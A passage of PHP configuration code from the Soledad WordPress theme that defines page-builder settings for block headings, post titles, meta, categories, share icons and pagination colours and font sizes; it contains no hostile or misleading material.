					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Title Color', 'soledad' ),
					'param_name'       => 'block_title_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Title Hover Color', 'soledad' ),
					'param_name'       => 'block_title_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Color', 'soledad' ),
					'param_name'       => 'btitle_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Outer Color', 'soledad' ),
					'param_name'       => 'btitle_outer_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Bottom for Heading Style 5, 10, 11, 12', 'soledad' ),
					'param_name'       => 'btitle_style5_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-5', 'style-10', 'style-11', 'style-12' )
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Small Border Bottom for Heading Style 7 & Style 8', 'soledad' ),
					'param_name'       => 'btitle_style78_bcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-7', 'style-9' )
					),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Border Top for Heading Style 10', 'soledad' ),
					'param_name'       => 'btitle_style10_btopcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-10' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Shapes for Heading Styles 11, 12, 13', 'soledad' ),
					'param_name'       => 'btitle_shapes_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array( 'style-13', 'style-11', 'style-12' )
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Color for Icon on Style 15', 'soledad' ),
					'param_name'       => 'bgstyle15_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Color on Style 15', 'soledad' ),
					'param_name'       => 'iconstyle15_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
					'param_name'       => 'cl_lines',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'heading_title_style',
						'value'   => array(
							'style-18',
							'style-18 style-19',
							'style-18 style-20'
						)
					),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Color', 'soledad' ),
					'param_name'       => 'btitle_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6'
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Background Outer Color', 'soledad' ),
					'param_name'       => 'btitle_outer_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'attach_image',
					'heading'    => esc_html__( 'Custom Background Image for Style 9', 'soledad' ),
					'param_name' => 'btitle_style9_bgimg',
					'group'      => $group_color,
					'dependency' => array( 'element' => 'heading_title_style', 'value' => array( 'style-8' ) ),
				),
				array(
					'type'        => 'penci_switch',
					'heading'     => __( 'Custom Font Family for Block Title', 'soledad' ),
					'param_name'  => 'use_btitle_typo',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_color,
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'btitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_btitle_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'btitle_fsize',
					'heading'    => __( 'Font Size for Block Title', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_color,
				)
			);
		}

		public static function params_container_width( $default = 3 ) {
			return array(
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Element Columns', 'soledad' ),
					'param_name' => 'penci_block_width',
					'std'        => $default,
					'value'      => array(
						__( '1 Column ( Small Container Width)', 'soledad' )    => '1',
						__( '2 Columns ( Medium Container Width )', 'soledad' ) => '2',
						__( '3 Columns ( Large Container Width )', 'soledad' )  => '3',
					),
				)
			);
		}

		public static function extra_params() {
			return array(
				array(
					'type'       => 'css_editor',
					'heading'    => __( 'CSS box', 'soledad' ),
					'param_name' => 'css',
					'group'      => __( 'Design Options', 'soledad' ),
				),
				penci_get_vc_responsive_spacing_map(),
			);
		}

		public static function heading_block_params( $block_title_df = true ) {
			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_block_title_1',
					'heading'          => esc_html__( 'Heading Title', 'soledad' ),
					'value'            => '',
					'group'            => 'Heading',
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
					'param_name' => 'heading_title_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
						esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
						esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
						esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
						esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
						esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
						esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
						esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
						esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
						esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
						esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
						esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
						esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
						esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
						esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
						esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
						esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
						esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
						esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
						esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
						esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
						esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
						esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
						esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
						esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
						esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
						esc_html__( 'Style 27', 'soledad' )                     => 'style-7',
					),
					'group'      => 'Heading',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Heading Title', 'soledad' ),
					'param_name'  => 'heading',
					'value'       => $block_title_df ? esc_html__( 'Block Title', 'soledad' ) : '',
					'std'         => $block_title_df ? esc_html__( 'Block Title', 'soledad' ) : '',
					'admin_label' => true,
					'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
					'group'       => 'Heading',
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Title Url', 'soledad' ),
					'param_name'  => 'heading_title_link',
					'std'         => '',
					'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
					'group'       => 'Heading',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Align', 'soledad' ),
					'param_name' => 'heading_title_align',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
						esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
						esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
					),
					'group'      => 'Heading',
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Align Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Right'                       => 'pciconp-right',
						'Left'                        => 'pciconp-left',
					),
					'param_name'  => 'heading_icon_pos',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => 'Heading',
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Custom Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Arrow Right'                 => 'pcicon-right',
						'Arrow Left'                  => 'pcicon-left',
						'Arrow Down'                  => 'pcicon-down',
						'Arrow Up'                    => 'pcicon-up',
						'Star'                        => 'pcicon-star',
						'Bars'                        => 'pcicon-bars',
						'File'                        => 'pcicon-file',
						'Fire'                        => 'pcicon-fire',
						'Book'                        => 'pcicon-book',
					),
					'param_name'  => 'heading_icon',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => 'Heading',
				),
			);
		}

		public static function params_latest_posts_typo_color() {
			$group_color = 'Typo & Color';

			$style_big_post = array(
				'mixed',
				'mixed-4',
				'mixed-2',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list',
				'classic-boxed-1',
				'overlay-grid',
				'overlay-grid-2',
				'overlay-list',
				'overlay-boxed-1'
			);
			$color_big_post = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'General Posts', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),

				// Post title
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
					'param_name'       => 'pborder_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'boxed-1',
							'boxed-2',
							'mixed',
							'mixed-2',
							'standard-boxed-1'
						)
					),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator1',
					'group'      => $group_color,
				),
				// Post meta
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
					'param_name'       => 'pmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Author Color', 'soledad' ),
					'param_name'       => 'pauthor_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Border Color', 'soledad' ),
					'param_name'       => 'pmeta_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),

				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),

				// Post Excrept
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Excrept Color', 'soledad' ),
					'param_name'       => 'pexcrept_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pexcrept_fsize',
					'heading'          => __( 'Font Size for Post Excrept', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Excrept', 'soledad' ),
					'param_name'       => 'use_pexcrept_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pexcrept_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pexcrept_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),
				// Category
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'pcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'pcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Categories', 'soledad' ),
					'param_name'       => 'use_pcat_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pcat_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),
				// Continue reading
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Continue reading Color', 'soledad' ),
					'param_name'       => 'prmore_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Continue reading Hover Color', 'soledad' ),
					'param_name'       => 'prmore_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'prmore_fsize',
					'heading'          => __( 'Font Size for Continue reading', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Continue reading', 'soledad' ),
					'param_name'       => 'use_prmore_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'prmore_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_prmore_typo', 'value' => 'yes' ),
				),
				array(
					'type'       => 'penci_separator',
					'param_name' => 'penci_separator2',
					'group'      => $group_color,
				),

				// Share
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Color', 'soledad' ),
					'param_name'       => 'pshare_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Hover Color', 'soledad' ),
					'param_name'       => 'pshare_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Social Share Border Color', 'soledad' ),
					'param_name'       => 'pshare_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pshare_fsize',
					'heading'          => __( 'Font Size for Social Share Icons', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),

				// Big Post
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_bptittle_settings',
					'heading'          => esc_html__( 'Big Posts', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),

				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'bptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'bptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Author Color', 'soledad' ),
					'param_name'       => 'bpauthor_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Border Color', 'soledad' ),
					'param_name'       => 'bpmeta_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'bpcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'bpcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpexcerpt_size',
					'heading'          => __( 'Font Size for Post Excerpt', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'mixed',
							'mixed-4',
							'standard-grid',
							'standard-grid-2',
							'standard-list',
							'standard-boxed-1',
							'classic-grid',
							'classic-grid-2',
							'classic-list'
						)
					),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bsocialshare_size',
					'heading'          => __( 'Font Size for Post Social Share', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),

				// Pagination
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pag_settings',
					'heading'          => esc_html__( 'Pagination', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pagination_icon',
					'heading'          => __( 'Font size for Load More Icon', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pagination_size',
					'heading'          => __( 'Font Size for Pagination', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Text Color', 'soledad' ),
					'param_name'       => 'pagination_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Border Color', 'soledad' ),
					'param_name'       => 'pagination_bordercolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Background Color', 'soledad' ),
					'param_name'       => 'pagination_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Text Color', 'soledad' ),
					'param_name'       => 'pagination_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Border Color', 'soledad' ),
					'param_name'       => 'pagination_hbordercolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Background Color', 'soledad' ),
					'param_name'       => 'pagination_hbgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
			);
		}

		public static function params_featured_cat_typo_color() {
			$group_color = 'Typo & Color';

			return array(
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts General Options', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
					'param_name'       => 'pborder_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts Title', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color of Big Post', 'soledad' ),
					'param_name'       => 'bptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color of Big Post', 'soledad' ),
					'param_name'       => 'bptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bptitle_fsize',
					'heading'          => __( 'Font Size for Title of Big Post', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'style-1',
							'style-2',
							'style-6',
							'style-10',
							'style-14',
							'style-15'
						)
					),
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),

				// Post meta
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Posts Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
					'param_name'       => 'pmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color for Big Posts', 'soledad' ),
					'param_name'       => 'bpmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color for Big Posts', 'soledad' ),
					'param_name'       => 'bpmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
